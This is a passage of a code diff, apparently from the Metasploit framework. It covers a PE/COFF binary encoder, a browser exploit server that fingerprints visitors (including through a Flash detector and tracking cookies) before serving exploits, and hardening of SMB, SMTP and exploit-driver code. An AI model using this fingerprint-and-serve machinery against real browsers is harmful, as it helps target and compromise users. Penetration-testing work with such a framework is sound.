|r| rel << r.encode(coff) } - rel - end - - def set_default_values(coff) - # @base_addr is an rva - @base_addr = Expression[@base_addr, :-, coff.label_at(coff.encoded, 0)] if @base_addr.kind_of?(::String) - - # align relocation table size - if @relocs.length % 2 != 0 - r = Relocation.new - r.type = 0 - r.offset = 0 - @relocs << r - end - - super(coff) - end - end - - class ResourceDirectory - # compiles ressource directories - def encode(coff, edata = nil) - if not edata - # init recursion - edata = {} - subtables = %w[table names dataentries data] - subtables.each { |n| edata[n] = EncodedData.new } - encode(coff, edata) - return subtables.inject(EncodedData.new) { |sum, n| sum << edata[n] } - end - - label = lambda { |n| coff.label_at(edata[n], 0, n) } - # data 'rva' are real rvas (from start of COFF) - rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } - # names and table 'rva' are relative to the beginning of the resource directory - off_end = lambda { |n| Expression[[label[n], :-, coff.label_at(edata['table'], 0)], :+, edata[n].virtsize] } - - # build name_w if needed - @entries.each { |e| e.name_w = e.name.unpack('C*').pack('v*') if e.name and not e.name_w } - - # fixup forward references to us, as subdir - edata['table'].fixup @curoff_label => edata['table'].virtsize if defined? @curoff_label - - @nr_names = @entries.find_all { |e| e.name_w }.length - @nr_id = @entries.find_all { |e| e.id }.length - edata['table'] << super(coff) - - # encode entries, sorted by names nocase, then id - @entries.sort_by { |e| e.name_w ? [0, e.name_w.downcase] : [1, e.id] }.each { |e| - if e.name_w - edata['table'] << coff.encode_word(Expression[off_end['names'], :|, 1 << 31]) - edata['names'] << coff.encode_half(e.name_w.length/2) << e.name_w - else - edata['table'] << coff.encode_word(e.id) - end - - if e.subdir - e.subdir.curoff_label = coff.new_label('rsrc_curoff') - edata['table'] << coff.encode_word(Expression[e.subdir.curoff_label, :|, 1 << 31]) - else # data entry - edata['table'] << coff.encode_word(off_end['dataentries']) - - edata['dataentries'] << - coff.encode_word(rva_end['data']) << - coff.encode_word(e.data.length) << - coff.encode_word(e.codepage || 0) << - coff.encode_word(e.reserved || 0) - - edata['data'] << e.data - end - } - - # recurse - @entries.find_all { |e| e.subdir }.each { |e| e.subdir.encode(coff, edata) } - end - end - - - # computes the checksum for a given COFF file - # may not work with overlapping sections - def self.checksum(str, endianness = :little) - coff = load str - coff.endianness = endianness - coff.decode_header - coff.encoded.ptr = 0 - - flen = 0 - csum = 0 - # negate old checksum - oldcs = coff.encode_word(coff.optheader.checksum) - oldcs.ptr = 0 - csum -= coff.decode_half(oldcs) - csum -= coff.decode_half(oldcs) - - # checksum header - raw = coff.encoded.read(coff.optheader.headers_size) - flen += coff.optheader.headers_size - - coff.sections.each { |s| - coff.encoded.ptr = s.rawaddr - raw << coff.encoded.read(s.rawsize) - flen += s.rawsize - } - raw.unpack(endianness == :little ? 'v*' : 'n*').each { |s| - csum += s - csum = (csum & 0xffff) + (csum >> 16) if (csum >> 16) > 0 - } - csum + flen - end - - - def encode_byte(w) Expression[w].encode(:u8, @endianness, (caller if $DEBUG)) end - def encode_half(w) Expression[w].encode(:u16, @endianness, (caller if $DEBUG)) end - def encode_word(w) Expression[w].encode(:u32, @endianness, (caller if $DEBUG)) end - def encode_xword(w) Expression[w].encode((@bitsize == 32 ? :u32 : :u64), @endianness, (caller if $DEBUG)) end - - - # adds a new compiler-generated section - def encode_append_section(s) - if (s.virtsize || s.encoded.virtsize) < 4096 - # find section to merge with - # XXX check following sections for hardcoded base address ? - - char = s.characteristics.dup - secs = @sections.dup - # do not merge non-discardable in discardable - if not char.delete 'MEM_DISCARDABLE' - secs.delete_if { |ss| ss.characteristics.include? 'MEM_DISCARDABLE' } - end - # do not merge shared w/ non-shared - if char.delete 'MEM_SHARED' - secs.delete_if { |ss| not ss.characteristics.include? 'MEM_SHARED' } - else - secs.delete_if { |ss| ss.characteristics.include? 'MEM_SHARED' } - end - secs.delete_if { |ss| ss.virtsize.kind_of?(::Integer) or ss.rawsize.kind_of?(::Integer) or secs[secs.index(ss)+1..-1].find { |ss_| ss_.virtaddr.kind_of?(::Integer) } } - - # try to find superset of characteristics - if target = secs.find { |ss| (ss.characteristics & char) == char } - target.encoded.align 8 - puts "PE: merging #{s.name} in #{target.name} (#{target.encoded.virtsize})" if $DEBUG - s.encoded = target.encoded << s.encoded - else - @sections << s - end - else - @sections << s - end - end - - # encodes the export table as a new section, updates directory['export_table'] - def encode_exports - edata = @export.encode self - - # must include name tables (for forwarders) - @directory['export_table'] = [label_at(edata, 0, 'export_table'), edata.virtsize] - - s = Section.new - s.name = '.edata' - s.encoded = edata - s.characteristics = %w[MEM_READ] - encode_append_section s - end - - # encodes the import tables as a new section, updates directory['import_table'] and directory['iat'] - def encode_imports - idata, iat = ImportDirectory.encode(self, @imports) - - @directory['import_table'] = [label_at(idata, 0, 'idata'), idata.virtsize] - - s = Section.new - s.name = '.idata' - s.encoded = idata - s.characteristics = %w[MEM_READ MEM_WRITE MEM_DISCARDABLE] - encode_append_section s - - if @imports.first and @imports.first.iat_p.kind_of?(Integer) - # ordiat = iat.sort_by { @import[x].iat_p } - ordiat = @imports.zip(iat).sort_by { |id, it| id.iat_p.kind_of?(Integer) ? id.iat_p : 1<<65 }.map { |id, it| it } - else - ordiat = iat - end - - @directory['iat'] = [label_at(ordiat.first, 0, 'iat'), - Expression[label_at(ordiat.last, ordiat.last.virtsize, 'iat_end'), :-, label_at(ordiat.first, 0)]] if not ordiat.empty? - - iat_s = nil - - plt = Section.new - plt.name = '.plt' - plt.encoded = EncodedData.new - plt.characteristics = %w[MEM_READ MEM_EXECUTE] - - @imports.zip(iat) { |id, it| - if id.iat_p.kind_of?(Integer) and @sections.find { |s_| s_.virtaddr <= id.iat_p and s_.virtaddr + (s_.virtsize || s_.encoded.virtsize) > id.iat_p } - id.iat = it # will be fixed up after encode_section - else - # XXX should not be mixed (for @directory['iat'][1]) - if not iat_s - iat_s = Section.new - iat_s.name = '.iat' - iat_s.encoded = EncodedData.new - iat_s.characteristics = %w[MEM_READ MEM_WRITE] - encode_append_section iat_s - end - iat_s.encoded << it - end - - id.imports.each { |i| - if i.thunk - arch_encode_thunk(plt.encoded, i) - end - } - } - - encode_append_section plt if not plt.encoded.empty? - end - - # encodes a thunk to imported function - def arch_encode_thunk(edata, import) - case @cpu.shortname - when 'ia32', 'x64' - shellcode = lambda { |c| Shellcode.new(@cpu).share_namespace(self).assemble(c).encoded } - if @cpu.generate_PIC - if @cpu.shortname == 'x64' - edata << shellcode["#{import.thunk}: jmp [rip-$_+#{import.target}]"] - return - end - # sections starts with a helper function that returns the address of metasm_intern_geteip in eax (PIC) - if not @sections.find { |s| s.encoded and s.encoded.export['metasm_intern_geteip'] } and edata.empty? - edata << shellcode["metasm_intern_geteip: call 42f\n42:\npop eax\nsub eax, 42b-metasm_intern_geteip\nret"] - end - edata << shellcode["#{import.thunk}: call metasm_intern_geteip\njmp [eax+#{import.target}-metasm_intern_geteip]"] - else - edata << shellcode["#{import.thunk}: jmp [#{import.target}]"] - end - else raise EncodeError, 'E: COFF: encode import thunk: unsupported architecture' - end - end - - def encode_tls - dir, cbtable = @tls.encode(self) - @directory['tls_table'] = [label_at(dir, 0, 'tls_table'), dir.virtsize] - - s = Section.new - s.name = '.tls' - s.encoded = EncodedData.new << dir << cbtable - s.characteristics = %w[MEM_READ MEM_WRITE] - encode_append_section s - end - - # encodes relocation tables in a new section .reloc, updates @directory['base_relocation_table'] - def encode_relocs - if @relocations.empty? - rt = RelocationTable.new - rt.base_addr = 0 - rt.relocs = [] - @relocations << rt - end - relocs = @relocations.inject(EncodedData.new) { |edata, rt_| edata << rt_.encode(self) } - - @directory['base_relocation_table'] = [label_at(relocs, 0, 'reloc_table'), relocs.virtsize] - - s = Section.new - s.name = '.reloc' - s.encoded = relocs - s.characteristics = %w[MEM_READ MEM_DISCARDABLE] - encode_append_section s - end - - # creates the @relocations from sections.encoded.reloc - def create_relocation_tables - @relocations = [] - - # create a fake binding with all exports, to find only-image_base-dependant relocs targets - # not foolproof, but works in standard cases - startaddr = curaddr = label_at(@encoded, 0, 'coff_start') - binding = {} - @sections.each { |s| - binding.update s.encoded.binding(curaddr) - curaddr = Expression[curaddr, :+, s.encoded.virtsize] - } - - # for each section.encoded, make as many RelocationTables as needed - @sections.each { |s| - - # rt.base_addr temporarily holds the offset from section_start, and is fixed up to rva before '@reloc << rt' - rt = RelocationTable.new - - s.encoded.reloc.each { |off, rel| - # check that the relocation looks like "program_start + integer" when bound using the fake binding - # XXX allow :i32 etc - if rel.endianness == @endianness and [:u32, :a32, :u64, :a64].include?(rel.type) and - rel.target.bind(binding).reduce.kind_of?(Expression) and - Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) - # winner ! - - # build relocation - r = RelocationTable::Relocation.new - r.offset = off & 0xfff - r.type = { :u32 => 'HIGHLOW', :u64 => 'DIR64', :a32 => 'HIGHLOW', :a64 => 'DIR64' }[rel.type] - - # check if we need to start a new relocation table - if rt.base_addr and (rt.base_addr & ~0xfff) != (off & ~0xfff) - rt.base_addr = Expression[[label_at(s.encoded, 0, 'sect_start'), :-, startaddr], :+, rt.base_addr] - @relocations << rt - rt = RelocationTable.new - end - - # initialize reloc table base address if needed - rt.base_addr ||= off & ~0xfff - - (rt.relocs ||= []) << r - elsif $DEBUG and not rel.target.bind(binding).reduce.kind_of?(Integer) - puts "W: COFF: Ignoring weird relocation #{rel.inspect} when building relocation tables" - end - } - - if rt and rt.relocs - rt.base_addr = Expression[[label_at(s.encoded, 0, 'sect_start'), :-, startaddr], :+, rt.base_addr] - @relocations << rt - end - } - end - - def encode_resource - res = @resource.encode self - - @directory['resource_table'] = [label_at(res, 0, 'resource_table'), res.virtsize] - - s = Section.new - s.name = '.rsrc' - s.encoded = res - s.characteristics = %w[MEM_READ] - encode_append_section s - end - - # initialize the header from target/cpu/etc, target in ['exe' 'dll' 'kmod' 'obj'] - def pre_encode_header(target='exe', want_relocs=true) - target = {:bin => 'exe', :lib => 'dll', :obj => 'obj', 'sys' => 'kmod', 'drv' => 'kmod'}.fetch(target, target) - - @header.machine ||= case @cpu.shortname - when 'x64'; 'AMD64' - when 'ia32'; 'I386' - end - @optheader.signature ||= case @cpu.size - when 32; 'PE' - when 64; 'PE+' - end - @bitsize = (@optheader.signature == 'PE+' ? 64 : 32) - - # setup header flags - tmp = %w[LINE_NUMS_STRIPPED LOCAL_SYMS_STRIPPED DEBUG_STRIPPED] + - case target - when 'exe'; %w[EXECUTABLE_IMAGE] - when 'dll'; %w[EXECUTABLE_IMAGE DLL] - when 'kmod'; %w[EXECUTABLE_IMAGE] - when 'obj'; [] - end - if @cpu.size == 32 - tmp << 'x32BIT_MACHINE' - else - tmp << 'LARGE_ADDRESS_AWARE' - end - tmp << 'RELOCS_STRIPPED' if not want_relocs - @header.characteristics ||= tmp - - @optheader.subsystem ||= case target - when 'exe', 'dll'; 'WINDOWS_GUI' - when 'kmod'; 'NATIVE' - end - - tmp = [] - tmp << 'NX_COMPAT' - tmp << 'DYNAMIC_BASE' if want_relocs - @optheader.dll_characts ||= tmp - end - - # resets the values in the header that may have been - # modified by your script (eg section count, size, imagesize, etc) - # call this whenever you decode a file, modify it, and want to reencode it later - def invalidate_header - # set those values to nil, they will be - # recomputed during encode_header - [:code_size, :data_size, :udata_size, :base_of_code, :base_of_data, - :sect_align, :file_align, :image_size, :headers_size, :checksum].each { |m| @optheader.send("#{m}=", nil) } - [:num_sect, :ptr_sym, :num_sym, :size_opthdr].each { |m| @header.send("#{m}=", nil) } - end - - # appends the header/optheader/directories/section table to @encoded - def encode_header - # encode section table, add CONTAINS_* flags from other characteristics flags - s_table = EncodedData.new - - @sections.each { |s| - if s.characteristics.kind_of? Array and s.characteristics.include? 'MEM_READ' - if s.characteristics.include? 'MEM_EXECUTE' - s.characteristics |= ['CONTAINS_CODE'] - elsif s.encoded - if s.encoded.rawsize == 0 - s.characteristics |= ['CONTAINS_UDATA'] - else - s.characteristics |= ['CONTAINS_DATA'] - end - end - end - s.rawaddr = nil if s.rawaddr.kind_of?(::Integer) # XXX allow to force rawaddr ? - s_table << s.encode(self) - } - - # encode optional header - @optheader.image_size ||= new_label('image_size') - @optheader.image_base ||= label_at(@encoded, 0) - @optheader.headers_size ||= new_label('headers_size') - @optheader.checksum ||= new_label('checksum') - @optheader.subsystem ||= 'WINDOWS_GUI' - @optheader.numrva = nil - opth = @optheader.encode(self) - - # encode header - @header.machine ||= 'UNKNOWN' - @header.num_sect ||= sections.length - @header.time ||= Time.now.to_i & -255 - @header.size_opthdr ||= opth.virtsize - @encoded << @header.encode(self) << opth << s_table - end - - # append the section bodies to @encoded, and link the resulting binary - def encode_sections_fixup - if @optheader.headers_size.kind_of?(::String) - @encoded.fixup! @optheader.headers_size => @encoded.virtsize - @optheader.headers_size = @encoded.virtsize - end - @encoded.align @optheader.file_align - - baseaddr = @optheader.image_base.kind_of?(::Integer) ? @optheader.image_base : 0x400000 - binding = @encoded.binding(baseaddr) - - curaddr = baseaddr + @optheader.headers_size - @sections.each { |s| - # align - curaddr = EncodedData.align_size(curaddr, @optheader.sect_align) - if s.rawaddr.kind_of?(::String) - @encoded.fixup! s.rawaddr => @encoded.virtsize - s.rawaddr = @encoded.virtsize - end - if s.virtaddr.kind_of?(::Integer) - raise "E: COFF: cannot encode section #{s.name}: hardcoded address too short" if curaddr > baseaddr + s.virtaddr - curaddr = baseaddr + s.virtaddr - end - binding.update s.encoded.binding(curaddr) - curaddr += s.virtsize - - pre_sz = @encoded.virtsize - @encoded << s.encoded[0, s.encoded.rawsize] - @encoded.align @optheader.file_align - if s.rawsize.kind_of?(::String) - @encoded.fixup! s.rawsize => (@encoded.virtsize - pre_sz) - s.rawsize = @encoded.virtsize - pre_sz - end - } - - # not aligned ? spec says it is, visual studio does not - binding[@optheader.image_size] = curaddr - baseaddr if @optheader.image_size.kind_of?(::String) - - # patch the iat where iat_p was defined - # sort to ensure a 0-terminated will not overwrite an entry - # (try to dump notepad.exe, which has a forwarder;) - @imports.find_all { |id| id.iat_p.kind_of?(Integer) }.sort_by { |id| id.iat_p }.each { |id| - s = sect_at_rva(id.iat_p) - @encoded[s.rawaddr + s.encoded.ptr, id.iat.virtsize] = id.iat - binding.update id.iat.binding(baseaddr + id.iat_p) - } if imports - - @encoded.fill - @encoded.fixup! binding - - if @optheader.checksum.kind_of?(::String) and @encoded.reloc.length == 1 - # won't work if there are other unresolved relocs - checksum = self.class.checksum(@encoded.data, @endianness) - @encoded.fixup @optheader.checksum => checksum - @optheader.checksum = checksum - end - end - - # encode a COFF file, building export/import/reloc tables if needed - # creates the base relocation tables (need for references to IAT not known before) - # defaults to generating relocatable files, eg ALSR-aware - # pass want_relocs=false to avoid the file overhead induced by this - def encode(target='exe', want_relocs=true) - @encoded = EncodedData.new - label_at(@encoded, 0, 'coff_start') - pre_encode_header(target, want_relocs) - autoimport - encode_exports if export - encode_imports if imports - encode_resource if resource - encode_tls if tls - create_relocation_tables if want_relocs - encode_relocs if relocations - encode_header - encode_sections_fixup - @encoded.data - end - - def parse_init - # ahem... - # a fake object, which when appended makes us parse '.text', which creates a real default section - # forwards to it this first appendage. - # allows the user to specify its own section if he wishes, and to use .text if he doesn't - if not defined? @cursource or not @cursource - @cursource = ::Object.new - class << @cursource - attr_accessor :coff - def <<(*a) - t = Preprocessor::Token.new(nil) - t.raw = '.text' - coff.parse_parser_instruction t - coff.cursource.send(:<<, *a) - end - end - @cursource.coff = self - end - @source ||= {} - super() - end - - # handles compiler meta-instructions - # - # syntax: - # .section "
" - # section name is a string (may be quoted) - # perms are in 'r' 'w' 'x' 'shared' 'discard', may be concatenated (in this order), may be prefixed by 'no' to remove the attribute for an existing section - # base is the token 'base', the token '=' and an immediate expression - # default sections: - # .text = .section '.text' rx - # .data = .section '.data' rw - # .rodata = .section '.rodata' r - # .bss = .section '.bss' rw - # .entrypoint | .entrypoint
'; + div = document.createElement('div'); + div.innerHTML = html; + obj = div.firstChild; + div.removeChild(obj); + return obj; + } window.onload = function() { var osInfo = os_detect.getVersion(); @@ -432,10 +461,36 @@ module Msf <% end %> <% end %> - var query = objToQuery(d); - postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){ - window.location="<%= get_module_resource %>"; - }); + if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) { + var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'}); + + // After 5s stop waiting and use the version retrieved with JS if there isn't anything + maxTimeout = setTimeout(function() { + if (intervalTimeout != null) { + doInterval = false + clearInterval(intervalTimeout) + } + if (!isEmpty(flashVersion)) { + d["flash"] = flashVersion + } + sendInfo(d); + }, 5000); + + // Check if there is a new flash version every 100ms + intervalTimeout = setInterval(function() { + if (!doInterval) { + clearInterval(intervalTimeout); + if (!isEmpty(flashVersion)) { + d["flash"] = flashVersion + } + sendInfo(d); + } + }, 100); + + document.body.appendChild(flashObject) + } else { + sendInfo(d) + } } |).result(binding()) @@ -453,11 +508,12 @@ module Msf | end - # @return [String] name of the tracking cookie + # @return [String] Name of the tracking cookie def cookie_name datastore['CookieName'] || DEFAULT_COOKIE_NAME end + # @return [String] HTTP header string for the tracking cookie def cookie_header(tag) cookie = "#{cookie_name}=#{tag};" if datastore['CookieExpiration'].present? @@ -468,6 +524,13 @@ module Msf cookie end + def load_swf_detection + path = ::File.join(Msf::Config.data_directory, 'flash_detector', 'flashdetector.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + # Handles exploit stages. # @@ -479,7 +542,7 @@ module Msf # # This is the information gathering stage # - if get_profile(retrieve_tag(cli, request)) + if browser_profile[retrieve_tag(cli, request)] send_redirect(cli, get_module_resource) return end @@ -487,11 +550,15 @@ module Msf print_status("Gathering target information.") tag = Rex::Text.rand_text_alpha(rand(20) + 5) ua = request.headers['User-Agent'] || '' - init_profile(tag) print_status("Sending HTML response.") html = get_detection_html(ua) send_response(cli, html, {'Set-Cookie' => cookie_header(tag)}) + when /#{@flash_swf}/ + vprint_status("Sending SWF used for Flash detection") + swf = load_swf_detection + send_response(cli, swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + when /#{@info_receiver_page}/ # # The detection code will hit this if Javascript is enabled @@ -515,7 +582,7 @@ module Msf # tag = retrieve_tag(cli, request) vprint_status("Serving exploit to user with tag #{tag}") - profile = get_profile(tag) + profile = browser_profile[tag] if profile.nil? print_status("Browsing directly to the exploit URL is forbidden.") send_not_found(cli) @@ -523,13 +590,14 @@ module Msf print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.") send_not_found(cli) else - update_profile(profile, :tried, true) + profile[:tried] = true vprint_status("Setting target \"#{tag}\" to :tried.") try_set_target(profile) bad_reqs = get_bad_requirements(profile) if bad_reqs.empty? + browser_info = profile.dup begin - method(:on_request_exploit).call(cli, request, profile) + method(:on_request_exploit).call(cli, request, browser_info) rescue BESException => e elog("BESException: #{e.message}\n#{e.backtrace * "\n"}") send_not_found(cli) @@ -597,9 +665,10 @@ module Msf platform = platform.gsub(/^Windows.*$/, 'Windows') p = regenerate_payload(cli, platform, arch) + target_arch = get_target.arch || arch - unless p.arch.include?(arch) - err = "The payload arch (#{p.arch * ", "}) is incompatible with the #{arch} target. " + unless p.arch.all? { |e| target_arch.include?(e) } + err = "The payload arch (#{p.arch * ", "}) is incompatible with the target (#{target_arch * "\n"}). " err << "Please check your payload setting." raise BESException, err end diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb new file mode 100644 index 0000000000..23bf1fbe06 --- /dev/null +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -0,0 +1,25 @@ +module Msf + module Exploit::Remote::BrowserProfileManager + + # @overload browser_profile_prefix + # Sets the profile prefix to retrieve or load target information. + def browser_profile_prefix + raise NoMethodError, "A mixin that's using BrowserProfileManager should define browser_profile_prefix" + end + + # Storage backend for browser profiles + # + # @return [Hash] + def browser_profile + framework.browser_profiles[browser_profile_prefix] ||= {} + framework.browser_profiles[browser_profile_prefix] + end + + # Storage backend for browser profiles + # + def clear_browser_profiles + framework.browser_profiles.delete(browser_profile_prefix) + end + + end +end diff --git a/lib/msf/core/exploit/smb/client.rb b/lib/msf/core/exploit/smb/client.rb index d1a06a4c89..b104b9e48a 100644 --- a/lib/msf/core/exploit/smb/client.rb +++ b/lib/msf/core/exploit/smb/client.rb @@ -327,7 +327,14 @@ module Msf # Connect to the server if needed if not self.simple connect() - smb_login() + # The login method can throw any number of exceptions, we don't + # care since we still get the native_lm/native_os. + begin + smb_login() + rescue ::Rex::Proto::SMB::Exceptions::NoReply, + ::Rex::Proto::SMB::Exceptions::ErrorCode, + ::Rex::Proto::SMB::Exceptions::LoginError + end end fprint['native_os'] = smb_peer_os() diff --git a/lib/msf/core/exploit/smb/server.rb b/lib/msf/core/exploit/smb/server.rb index 3efb46ff57..2cede3c66f 100644 --- a/lib/msf/core/exploit/smb/server.rb +++ b/lib/msf/core/exploit/smb/server.rb @@ -18,8 +18,18 @@ module Msf deregister_options('SSL', 'SSLCert') register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 445 ]) ], self.class) + + register_advanced_options( + [ + OptInt.new('SMBServerMaximumBuffer', [ true, 'The maximum number of data in megabytes to buffer', 2 ]), + OptInt.new('SMBServerIdleTimeout', [ true, 'The maximum amount of time to keep an idle session open in seconds', 120 ]) + ], self.class) + + @smb_server_last_pool_sweep = Time.now.to_f + @smb_server_pool_mutex = Mutex.new + @smb_server_request_counter = 0 end def setup @@ -44,16 +54,58 @@ module Msf def smb_conn(c) @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport} + smb_pool_update(c) end def smb_stop(c) + # Make sure the socket is closed + begin + c.close + # Handle any number of errors that a double-close or failed shutdown can trigger + rescue ::IOError, ::EOFError, + ::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED, + ::Errno::ETIMEDOUT, ::Errno::ENETRESET, ::Errno::ESHUTDOWN + end + + # Delete the state table entry @state.delete(c) end def smb_recv(c) smb = @state[c] smb[:data] ||= '' - smb[:data] << c.get_once + + buff = '' + begin + buff = c.get_once(-1, 0.25) + # Handle any number of errors that a read can trigger depending on socket state + rescue ::IOError, ::EOFError, + ::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED, + ::Errno::ETIMEDOUT, ::Errno::ENETRESET, ::Errno::ESHUTDOWN + vprint_status("Dropping connection from #{smb[:name]} due to exception: #{$!.class} #{$!}") + smb_stop(c) + return + end + + # The client said it had data, but lied, kill the session + unless buff and buff.length > 0 + vprint_status("Dropping connection from #{smb[:name]} due to empty payload...") + smb_stop(c) + return + end + + # Append the new data to the buffer + smb[:data] << buff + + # Prevent a simplistic DoS if the buffer is too big + if smb[:data].length > (1024*1024*datastore['SMBServerMaximumBuffer']) + vprint_status("Dropping connection from #{smb[:name]} due to oversized buffer of #{smb[:data].length} bytes...") + smb_stop(c) + return + end + + # Update the last-seen timestamp and purge old entries + smb_pool_update(c) while(smb[:data].length > 0) @@ -95,10 +147,11 @@ module Msf pkt = CONST::SMB_BASE_PKT.make_struct pkt.from_s(buff) - # Only response to requests, ignore server replies + # Only respond to requests, ignore server replies if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0) - print_status("Ignoring server response from #{smb[:name]}") - next + vprint_status("Dropping connection from #{smb[:name]} due to missing client request flag") + smb_stop(c) + return end cmd = pkt['Payload']['SMB'].v['Command'] @@ -149,6 +202,38 @@ module Msf pkt['Payload']['SMB'].v['ErrorClass'] = errorclass c.put(pkt.to_s) end + + # Update the last-seen timestamp and purge old entries + def smb_pool_update(c) + + @state[c][:last_action] = Time.now.to_f + @smb_server_request_counter += 1 + + unless @smb_server_request_counter % 100 == 0 || + @smb_server_last_pool_sweep + datastore['SMBServerIdleTimeout'].to_f < Time.now.to_f + return + end + + # Synchronize pool sweeps in case we move to threaded services + @smb_server_pool_mutex.synchronize do + purge_list = [] + + @smb_server_last_pool_sweep = Time.now.to_f + + @state.keys.each do |sc| + if @state[sc][:last_action] + datastore['SMBServerIdleTimeout'].to_f < Time.now.to_f + purge_list << sc + end + end + + # Purge any idle connections to rescue file descriptors + purge_list.each do |sc| + vprint_status("Dropping connection from #{@state[sc][:name]} due to idle timeout...") + smb_stop(sc) + end + end + end + end end diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index 0dec10cc71..18fde235a0 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -84,7 +84,7 @@ module Exploit::Remote::SMTPDeliver if res =~ /STARTTLS/ print_status("Starting tls") raw_send_recv("STARTTLS\r\n", nsock) - swap_sock_plain_to_ssl + swap_sock_plain_to_ssl(nsock) res = raw_send_recv("EHLO #{domain}\r\n", nsock) end @@ -229,7 +229,7 @@ protected end def generate_ssl_context - ctx = OpenSSL::SSL::SSLContext.new(:SSLv3) + ctx = OpenSSL::SSL::SSLContext.new ctx.key = OpenSSL::PKey::RSA.new(1024){ } ctx.session_id_context = Rex::Text.rand_text(16) diff --git a/lib/msf/core/exploit_driver.rb b/lib/msf/core/exploit_driver.rb index be273d10df..4be621a9e5 100644 --- a/lib/msf/core/exploit_driver.rb +++ b/lib/msf/core/exploit_driver.rb @@ -22,6 +22,7 @@ class ExploitDriver self.use_job = false self.job_id = nil self.force_wait_for_session = false + self.semaphore = Mutex.new end # @@ -112,7 +113,6 @@ class ExploitDriver # - Cleans up the handler # def run - # First thing's first -- validate the state. Make sure all requirement # parameters are set, including those that are derived from the # datastore. @@ -163,6 +163,7 @@ class ExploitDriver # nothing should be able to modify their datastore or other # settings until after they're done. ctx = [ exploit, payload ] + job_run_proc(ctx) job_cleanup_proc(ctx) end @@ -181,20 +182,20 @@ class ExploitDriver attr_accessor :force_wait_for_session # :nodoc: attr_accessor :session # :nodoc: + # To synchronize threads cleaning up the exploit and the handler + attr_accessor :semaphore + protected - - # # Job run proc, sets up the exploit and kicks it off. # def job_run_proc(ctx) - # Default session wait time.. - delay = payload.wfs_delay + exploit.wfs_delay - delay = nil if exploit.passive? - begin exploit, payload = ctx + # Default session wait time.. + delay = payload.wfs_delay + exploit.wfs_delay + delay = nil if exploit.passive? # Set the exploit up the bomb exploit.setup @@ -204,88 +205,12 @@ protected # Launch the exploit exploit.exploit - - rescue ::Exception => e - if [::RuntimeError, ::Interrupt].include?(e.class) # Wait for session, but don't wait long. delay = 0.01 end - - # Build a user-friendly error message - msg = "#{e}" - unless e.class == Msf::Exploit::Failed - msg = "#{e.class} #{e}" - end - - exploit.error = e - - # Record the detailed reason - exploit.fail_detail ||= e.to_s - - case e - when Msf::Exploit::Complete - # Nothing to show in this case - return - - when Msf::Exploit::Failed - exploit.print_error("Exploit aborted due to failure: #{exploit.fail_reason}: #{msg}") - - # The caller should have already set exploit.fail_reason - if exploit.fail_reason == Msf::Exploit::Failure::None - exploit.fail_reason = Msf::Exploit::Failure::Unknown - end - - when Rex::ConnectionError - exploit.fail_reason = Msf::Exploit::Failure::Unreachable - exploit.print_error("Exploit failed [#{exploit.fail_reason}]: #{msg}") - elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0) - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) - - when Timeout::Error - exploit.fail_reason = Msf::Exploit::Failure::TimeoutExpired - exploit.print_error("Exploit failed [#{exploit.fail_reason}]: #{msg}") - elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0) - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) - else - - # Compare as a string since not all error classes may be loaded - case msg - when /access.denied|Login Failed/i # Covers SMB as well as some generic errors - exploit.fail_reason = Msf::Exploit::Failure::NoAccess - when /connection reset/i - exploit.fail_reason = Msf::Exploit::Failure::Disconnected - when /connection timed out|SSL_connect|unreachable|connection was refused/i - exploit.fail_reason = Msf::Exploit::Failure::Unreachable - when /unable.*target/i - exploit.fail_reason = Msf::Exploit::Failure::NoTarget - when /execution expired/i - exploit.fail_reason = Msf::Exploit::Failure::TimeoutExpired - when /(doesn.t|not).*vulnerable|may.*patched/i - exploit.fail_reason = Msf::Exploit::Failure::NotVulnerable - end - - # The caller should have already set exploit.fail_reason - if exploit.fail_reason == Msf::Exploit::Failure::None - exploit.fail_reason = Msf::Exploit::Failure::Unknown - end - - if exploit.fail_reason == Msf::Exploit::Failure::Unknown - exploit.print_error("Exploit failed: #{msg}") - else - exploit.print_error("Exploit failed [#{exploit.fail_reason}]: #{msg}") - end - - elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0) - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) - end - - # Record the error to various places - exploit.framework.events.on_module_error(exploit, msg) - - # Report the failure (and attempt) in the database - exploit.report_failure + exploit.handle_exception e end # Wait the payload to acquire a session if this isn't a passive-style @@ -318,12 +243,12 @@ protected exploit, payload = ctx # Ensure that, no matter what, clean up of the handler occurs - payload.stop_handler + semaphore.synchronize { payload.stop_handler } exploit.framework.events.on_module_complete(exploit) # Allow the exploit to cleanup after itself, that messy bugger. - exploit.cleanup + semaphore.synchronize { exploit.cleanup } end end diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index fe54145d0d..c8fd5db9cb 100644 --- a/lib/msf/core/framework.rb +++ 